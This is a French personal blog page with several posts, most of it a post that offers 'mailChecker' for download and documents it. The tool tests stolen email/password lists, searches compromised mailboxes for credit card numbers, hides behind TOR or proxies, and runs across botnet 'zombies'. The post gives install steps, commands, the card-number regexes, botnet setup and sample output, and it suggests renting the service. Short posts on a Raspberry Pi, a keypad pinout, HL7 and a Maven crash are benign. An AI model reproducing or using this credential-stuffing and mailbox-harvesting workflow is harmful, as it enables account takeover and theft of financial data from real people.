Publié
Commentaires Aucun

Après de nombreux mois de bons et loyaux services, l’alimentation du petit Raspberry qui servait à l’hébergement de ce blog a commencé à faire des siennes. Ce qui explique l’absence en ligne de ce blog depuis plusieurs mois, rien ne pressant son rallumage étant donné son usage très occasionnel. Me voici donc de retour, avec un alimentation de dépannage…

funny electric

Auteur

Publié
Commentaires Aucun

Il y a quelque temps de ça, un curieux personnage est passé sur un des forums de bidouille que je fréquente pour proposer des services de vérification de listes de courriels, et l’extraction automatique des données intéressantes depuis les boites accessibles.

Je me suis alors souvenu que j’avais écris un outil en ruby qui faisait un peu ça, il y a quelques années.

Suite à la demande de plusieurs membres de ce forum, j’ai récupéré de vieux disques durs tout poussiéreux au fond de mes armoires pour retrouver le programme.

Je vous présente donc mailChecker. Un petit outil qui permet de :

- Tester rapidement des listes de mails / mots de passe
- Scanner le contenu des messageries accessibles pour trouver les infos intéressantes à l’aide de regexs personnalisables.
- Le programme est aussi conçu pour marcher sur un botnet.

Mailchecker a été conçu comme un petit outil perso. Sa publication n’a jamais été prévue, ce qui explique certains points flemme-cracra dans le code.

Voici le code :

download
Telecharger MailChecker v 0.8.1

Vous trouverez ci dessous les détails relatifs au programme:

MailChecker est conçu pour fonctionner en deux modes distincts.

- Un mode single (où vous ne disposez que de votre propre poste pour effectuer le travail)
- Un mode distribué conçu pour être déployé sur un botnet. Dans ce cas, vous devez déployer le programme en mode serveur sur les zombies, et lancer le programme en mode maitre sur votre machine. ( Lorsqu’un ou plusieurs bots passent hors ligne, leur travail est automatiquement réparti sur les bots restants )

Apercu du fonctionnement de MailChecker

Le programme est aussi capable de masquer votre identité en utilisant TOR, ou des listes de proxys SOCKS. Dans le cas où vous ne disposez pas de listes à jour, le programme peut automatiquement mettre sa liste à jour en allant récupérer des proxys frais depuis le net.

Après un petit passage de nettoyage et de remise à jour rapide du code, le programme fonctionne sur ruby 1.9.1.

INSTALLATION

1 – Récupérer le code source.
2 – Décompresser l’archive

$ tar -xvf mailChecker.tar.gz

4 – Installer ruby 1.9.1

$ sudo apt-get install ruby1.9.1

5 – Installer les différents gems requis

$ sudo gem install rubyzip
$ sudo gem install ipaddress
$ sudo gem install socksify
$ sudo gem install simplews
$ sudo gem install soap4r
$ sudo gem install socksify
$ sudo gem install colorize
$ sudo gem install zip-zip

Si vous lancez le programme dès à présent, vous aurez l’erreur suivante :

/var/lib/gems/1.9.1/gems/soap4r-1.5.8/lib/xsd/xmlparser.rb:74:in `<top (required)>': XML processor module not found. (RuntimeError)

Il est nécessaire de corriger une régression dans xmlparser.rb à la ligne 76

$ sudo vim /var/lib/gems/1.9.1/gems/soap4r-1.5.8/lib/xsd/xmlparser.rb

Remplacez

c.downcase == name

par

c.to_s.downcase == name

Vous pouvez ensuite lancer le programme

cd ./mailChecker/lib
ruby ./mailchecker.rb

CONFIGURATION

Si vous avez correctement réalisé les manipulations décrites au dessus, vus devriez voir le manuel s’afficher


Usage: mailchecker [MODE] [OPTIONS]

mailChecker [v 0.8.1] : email list password checker and data extractor. This program can be used to automatically scan a large number of email accounts and fetch any interresting content (see /resources/regexmatchers.rb). This program can be used in single mode, listen mode (for botnet use), and master mode (botnet control).
MAILLIST.CSV If not in listen mode, you MUST provide an email / password list in CSV format. The CSV separator MUST be tab
Options -p, —proxy PROXYIP:PORT Use some user defined proxy (SOCKS 5 only !). Set this option to use the TOR network. -c, —check-tor Checks that TOR network is properly configured. -m, —maillist MAILIST.CSV Use this mailist to check email/password couples. The mail list must be in CSV format, each line must be like mail@domain.com\tpassword . -b, —botnet BOTNETIPS.TXT Use this option to delegate work to running instances of mailchecker in listen mode on your zombies. The .txt file must contains an IP:PORT list. The port to use is the one used by slave instance (listen mode) of mailchecker running on the zombie. -v, —verbose Activate verbose mode. -a, —autoproxy Fetch automatically a proxy list from search engine, test it and use it -z PROXYLISTFILE.txt, Test and use custom proxy list file. The proxy file format must be in text format, each line shall use the following format: proxyip:port —proxylist -n, —noproxy Use non-anonymous direct connection. -h, —help Display this manual -l, —listen PORT Listen mode. Activates service mode using specified port. —password argment must be setted. Use this mode when mailchecker is deployed on your zombies. -w, —password PASSWORD Password needed to use mailchecker service in listen mode.

Le programme peut fonctionner directement sur votre poste ou être déployé sur un botnet.

Pour vérifier une liste de mails, transformez votre liste vers un format csv utilisant le séparateur tabulation. Votre fichier csv est alors de la forme suivante:

mnichalou1@gmail.com	123passwordx
abc@mail.com	xxx
mnichalou1@gmail.com	123password

Le ficher de liste de mails doit être indiqué avec l’option -m si nécessaire.

Suivant que vous souhaitez être anonyme ou non, vous pouvez utiliser les options suivantes :
—proxy : Permet d’utiliser un proxy SOCKS
—autoproxy : Le programme va directement chercher sur internet les proxys qu’il va tester et utiliser
—proxylist : Le programme va utiliser une liste de proxys au format texte (chaque ligne doit être au format proxyip:address)
—noproxy : Se connecte directement, sans masquer son identité

Voici un exemple de fichier liste de proxys:

101.55.12.75:1080
50.131.252.186:29662
222.88.155.3:1080
111.207.146.125:1080
88.190.12.131:9865
61.152.200.187:8080
42.121.14.41:1080
183.61.243.9:1080
210.27.145.144:1080
42.121.29.122:1080
61.147.67.2:9124
118.69.198.212:1080
211.167.76.180:1080
42.121.82.151:1080
189.2.252.100:1080
115.156.165.3:1080
119.184.214.18:1080
222.85.131.98:1080
221.238.142.199:1080
61.144.222.144:1080
112.95.164.35:1080
186.120.97.26:6588
76.111.9.108:22841
67.170.229.143:54322
208.185.48.27:1080
180.153.139.246:8887
61.136.68.76:1080

Pour spécifier au soft ce que vous recherchez dans les boites mails, vous devez éditer le fichier /resources/regexmatcher.rb . Ce fichier contient les regex utilisées pour repérer les données d’intérêt. Chaque mail qui contient une ou plusieurs chaines de caractères correspondant à une de ces regexs sera copié par le programme pour que vous puissiez y effectuer des analyses ultérieures.

Par défaut, le fichier regexmatcher.rb est le suivant:

{
    :cc_amex  => /3[47][0-9]{13}/,
    :cc_visa => /4[0-9]{12}(?:[0-9]{3})?/,
    :cc_mastercard => /5[1-5][0-9]{14}/,
    :cc_dnsclb => /3(?:0[0-5]|[68][0-9])[0-9]{11}/,
    :cc_discover => /6(?:011|5[0-9]{2})[0-9]{12}/,
    :cc_jcb => /(?:2131|1800|35\d{3})\d{11}/
}

Il permet de rechercher les mails contenant des données relatives aux cartes de crédit American Express, Visa, Mastercard, Discover, DNSCLB et jcb.

MODE SINGLE

Dans l’exemple suivant, nous configurons le soft pour utiliser tor (proxy a 127.0.0.1:9150) pour aller scanner le contenu des boites mails:

$ ruby ./mailchecker.rb -p 127.0.0.1:9150 -c -m ../test/resources/mail_list.csv
[!] Checking if TOR is properly configured
[!] TOR was sucessfully configured
[!] Need to check 1 proxie(s)
* Proxy... 127.0.0.1:9150		[ALIVE]
[!] 3 emails added
[!] Starting 5 threads, spinning the turtle again !
... etc.

Le résultat de l’analyse est rangé dans un sous dossier du dossier /out Ce sous dossier contient un fichier csv contenant tous les couples mail / password valides, et un ensemble de fichiers commençant par “regex” contenant les emails ayant matchés avec l’expression régulière associée.

Remarque : Le contenu des emails est encodé en base64 dans ces fichiers.

MODE BOTNET

blague botnet

Pour utiliser le soft avec votre botnet, il faut mettre le programme en mode écoute sur chacun des zombies, puis fournir la liste des IP : ports associés au programme maitre qui se chargera de contrôler les zombies.

Pour mettre le programme en mode écoute (serveur), vous devrez l’utiliser sur vos zombies de la façon suivante:

ruby ./mailchecker.rb -l 8798 -w password -n

L’option -l indique le port qu’utilisera le programme pour écouter les instructions du maître (ici 8798).
L’option -w indique le mot de passe qui devra être fourni pour utiliser le service.

Remarque : On peut combiner les options classiques de “masquage” d’identité. Au quel cas, avant de taper sur les serveurs de messageries, vos zombies utiliseront le proxy voulu. Dans l’exemple ci dessus, l’utilisation de proxy est désactivé par l’option -n et la connexion aux serveurs de messagerie se fait directement.

Remarque : Plusieurs maitres peuvent utiliser simultanément le même botnet, ce qui vous laisse la possibilité de louer votre service de scan de messagerie sur botnet.

Une fois les services déployés sur vos zombies, vous devez démarrer une instance maître en mode botnet master. Pour ce faire, vous devez créer un fichier csv contenant toutes les IP : port de vos zombies ainsi que les mots de passe associés.

Dans notre exemple ci dessus, et avec un seul zombie (1.2.3.4), notre fichier botnet.csv ressemblerait donc à ça (L’espace entre le port 8798 et le mot de passe DEVANT être une tabulation.):

1.2.3.4:8798 password

La commande pour lancer le programme maitre est alors la suivante:

ruby ./mailchecker.rb -b ../test/resources/botnet.txt -m ../test/resources/mail_list.csv -n

Dans l’exemple ci dessus, la connexion entre le maitre et les bots n’est pas anonyme. Vous pouvez tout à fait utiliser les options -p -z ou -a pour plus de discrétion.

Le travail du botnet peut être assez long. Pour vérifier l’état d’avancement, vous devez envoyer un signal USR1 au programme maitre. Commencez par repérer le PID du programme maitre:

:~$ sudo ps -e | grep ruby
[sudo] password for XXX: 
23673 pts/14   00:00:00 ruby

Notre PID est donc 23673.

Puis envoyez le signal qui va bien:

:~$ sudo kill -SIGUSR1 23673

Un tableau s’affiche alors du côté du programme maitre:

Botnet work status
________________________________________________________________
| BOT                   |  OK   |  KO   |  UNK  |   TOT         |
|_______________________|_______|_______|_______|_______________|
| 127.0.0.1:8287	| 1	| 0	| 1	|   [50.0%]	|
| 127.0.0.1:8288	| 0	| 0	| 1	|   [0.0%]	|
|_______________________|_______|_______|_______|_______________|
---> Total : 1 / 3 - [33.33333333333333%]

La colonne BOT vous indique les ips : port des différents zombies.
La colonne OK vous indique le nombre de couples mail / password valides
La colonne KO vous indique le nombre de couples mail / password faux
La colonne UNK vous indique le nombre de couples mail / password qui n’ont pas encore été testés
La colonne TOT vous présente l’état d’avancement du travail du bot.

La ligne inférieure vous présente le taux de mails analysés sur le nombre de mails total à vérifier.

Remarque : Si un de vos zombies devient soudainement DOWN, son travail est automatiquement transféré vers un zombie encore UP. Ce qui vous assure la continuité et l’intégrité de l’analyse.

Une fois les analyses terminés, les résultats sont rapatriés sur la machine maitre dans le dossier /out

Remarque finale, le mode écoute publie un service SOAP. Du coup, il est facile d’écrire vos propres softs de contrôle a partir de la WSDL si vous voulez un truc plus poussé.

Voilà voilà. Et n’utilisez pas ce petit bout de code pour faire le mal, sinon…

prison

Auteur

Publié
Commentaires Aucun

Aujourd'hui j'ai récupéré, dans une brocante et pour une somme très modique, un keypad blindé secme AVHP 17 touches (modèle AVHP X 40003).
Le souci qui s'est posé étant que le modèle en question n'est plus produit, et que le connecteur 10 pins du modèle 17 touches n'est pas décris sur la page officielle du fabriquant : http://www.beckwithelectronics.com/EAO/secmavhp.htm.

esecure_recto

esecure_verso

Du coup, j'ai du prendre une dizaine de minutes sur plaque d'essai pour déterminer les relations entre les touches et le connecteur de sortie. Je vous le mets ici, ça servira peut être à quelqu'un un jour...

Schéma du connecteur:
mapping_connector

Branchement électriques:

Touche du clavier pressée -> contact entre les broches
1 -> 5 - 6
2 -> 5 - 7
3 -> 5 - 8
4 -> 4 - 6
5 -> 4 - 7
6 -> 4 - 8
7 -> 3 - 6
8 -> 3 - 7
9 -> 3 - 8
* -> 2 - 6
0 -> 2 - 7
# -> 2 - 8
Touches neutres en partant du haut, la dernière étant la touche verte:
N1 -> 9 - 5
N2 -> 9 - 4
N3 -> 9 - 3
N4 -> 9 - 2

Auteur

Publié
Commentaires Aucun

Je publie aussi l'article sur oxygensoftware.fr, histoire de faire monter un peu le google rank du site.

Ce qui suit est un retour d’expérience suite au développement de composants HL7 pour le projet OpenSIL.

Le monde de la santé est vaste, vraiment très vaste. Ce qui implique des données qui sont fortement variables d’un domaine à l’autre, tant en termes de relation et d’organisation que du contenu de ces données elles-mêmes.

Pour exemple, les informations concernant la mutuelle d’un patient et celles concernant les résultats d’analyses d’un spécimen anonyme sont de nature et de contenu très différents.

Pourtant, la communication entre établissements de santé au niveau international est devenu nécessaire. Cette nécessité implique de pouvoir s’échanger avec un protocole standard toutes les informations requises par la structure de santé quel que soit leur nature.

De cette constatation ont émergé plusieurs solutions partielles.

La solution américaine fut la conception d’un format standard d’échange de données de santé appelé HL7 (Health level 7). Ce standard, inventé sur le tas en 1987 dans sa version v1 et v2 est un joyeux bazar....

La suite sur oxygensoftware.fr.

Auteur

Publié
Commentaires Aucun

Il y a quelques jours, j'ai rencontré un petit souci avec Maven 2 (2.2.1 (rdebian-14)) :


-------------------------------------------------------
T E S T S
-------------------------------------------------------

Results :

Tests run: 0, Failures: 0, Errors: 0, Skipped: 0

[INFO] [jar:jar {execution: default-jar}]
[INFO] Building jar: XXX.jar
[INFO] [com.springsource.bundlor.:transform {execution: bundlor}]
[INFO] Transforming bundle at XXX.jar to XXX.jar
[WARNING] Bundlor Warnings:
[WARNING] The import of package xxx does not specify a version.
[INFO] ------------------------------------------------------------------------
[INFO] Building XXX
[INFO] task-segment: [clean, package]
[INFO] ------------------------------------------------------------------------
[INFO] [clean:clean {execution: default-clean}]
[INFO] Deleting XXX/target
[INFO] [resources:resources {execution: default-resources}]
[WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent!
[INFO] Copying 4 resources
[INFO] Copying 1 resource
[INFO] [compiler:compile {execution: default-compile}]
[WARNING] File encoding has not been set, using platform encoding UTF-8, i.e. build is platform dependent!
[INFO] Compiling 9 source files to XXX/target/classes

#
# A fatal error has been detected by the Java Runtime Environment:
#
# SIGSEGV (0xb) at pc=0x00007f6b4b565fe9, pid=25663, tid=140098813372160
#
# JRE version: Java(TM) SE Runtime Environment (8.0_05-b13) (build 1.8.0_05-b13)
# Java VM: Java HotSpot(TM) 64-Bit Server VM (25.5-b02 mixed mode linux-amd64 compressed oops)
# Problematic frame:
# C [libc.so.6+0x150fe9] __nss_hosts_lookup+0x18ed9
#
# Failed to write core dump. Core dumps have been disabled. To enable core dumping, try "ulimit -c unlimited" before starting Java again
#
# An error report file with more information is saved as:
# /home/XXX/hs_err_pid25663.log
#
# If you would like to submit a bug report, please visit:
# http://bugreport.sun.com/bugreport/crash.jsp
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.
#
Aborted (core dumped)


Impossible de compiler. La version de Java ne semble pas être en cause. Même souci avec Java 7 et Java 8.

Après quelques recherches, je suis tombé sur cet article. Le problème ressemble parfaitement au mien.... sauf qu'après quelques tests, je me suis rendu compte qu'alouer plus de mémoire à la JVM ne changeait rien au problème.

Ma solution a été de migrer vers maven 3. Le build s'effectue depuis parfaitement bien. Par flemme, je n'ai pas été chercher plus loin, mais si vous avez d'autres informations sur le pourquoi de ce bug, je suis preneur.

Auteur

← Plus anciens Plus récents →